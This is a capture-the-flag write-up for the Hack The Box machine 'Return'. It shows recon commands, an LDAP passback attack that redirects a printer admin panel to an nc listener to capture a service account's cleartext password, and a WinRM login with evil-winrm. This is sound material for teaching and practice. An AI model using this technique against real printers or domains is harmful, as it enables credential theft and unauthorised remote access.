Post

Return

A network printer admin panel stores LDAP service-account credentials and lets the directory server be set to an arbitrary host; pointing it at a rogue listener on port 389 leaks the svc-printer password in cleartext, which logs in over WinRM for the user flag.

Return

Overview

Return is an easy Windows machine built around a network printer administration panel. The panel’s settings page holds an LDAP service account used to query Active Directory. Because the panel lets you change the directory server address and re-binds with the stored credentials when you save, pointing it at an attacker-controlled listener on TCP 389 leaks the svc-printer password in cleartext. Those credentials grant a WinRM shell and the user flag. This post covers recon through the user flag.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

Realistic LDAP-passback printer abuse — point the panel at a rogue listener to capture cleartext creds for WinRM — with no CVE, no enumeration depth, just a clever misconfig primitive.

Recon

PortServiceNotes
80/tcpMicrosoft IIS 10.0HTB Printer Admin Panel
445/tcpSMBnull/guest sessions rejected
5985/tcpWinRM (HTTPAPI 2.0)remote management
1
2
nmap -p- --min-rate=1000 -T4 10.10.10.233
nmap -p80,445,5985 -sV -sC 10.10.10.233

The HTTP title gives it away immediately: HTB Printer Admin Panel. SMB enumeration confirms the host is part of the RETURN domain but rejects anonymous sessions, so the website is the way in.

1
enum4linux -a 10.10.10.233

Enumeration

Browsing to port 80 shows a printer admin panel of the kind shipped on enterprise multifunction devices. The navigation has a Settings page, and that is where everything interesting lives:

  • Server Address: printer.return.local
  • Server Port: 389 (LDAP)
  • Username: svc-printer
  • Password: masked (******)

These devices store LDAP/SMB credentials so they can query the AD user list and save scanned files to user drives. Critically, the panel lets the operator change the directory server — and saves by re-binding with the stored password.

Foothold

1 — Stand up a rogue LDAP listener. Before touching the panel, start a plain listener on port 389. A simple LDAP bind sends the DN and password in cleartext, so a raw nc is enough to capture it.

1
sudo nc -lvnp 389

2 — Point the printer at yourself. In the Settings page, change Server Address to your tun0 IP and click Update. The device immediately attempts to bind against the new “server” — your listener.

1
2
3
connect to [10.10.14.x] from (UNKNOWN) [10.10.10.233] ...
0*`%return\svc-printer
                       [redacted]

The bind reveals svc-printer’s password in cleartext.

3 — Log in over WinRM. Port 5985 is open, and svc-printer has remote-management rights, so the captured credentials drop straight into a shell with evil-winrm.

1
evil-winrm -i 10.10.10.233 -u svc-printer -p '[redacted]'

User flag

1
2
type C:\Users\svc-printer\Desktop\user.txt
# [redacted]

Credentials captured from a rogue LDAP bind, a WinRM shell, and the user flag are ours.

Privilege escalation (svc-printer is in the Server Operators group, which can hijack a service binary path for SYSTEM) is left as an exercise — this post stops at user.

This post is licensed under CC BY 4.0 by the author.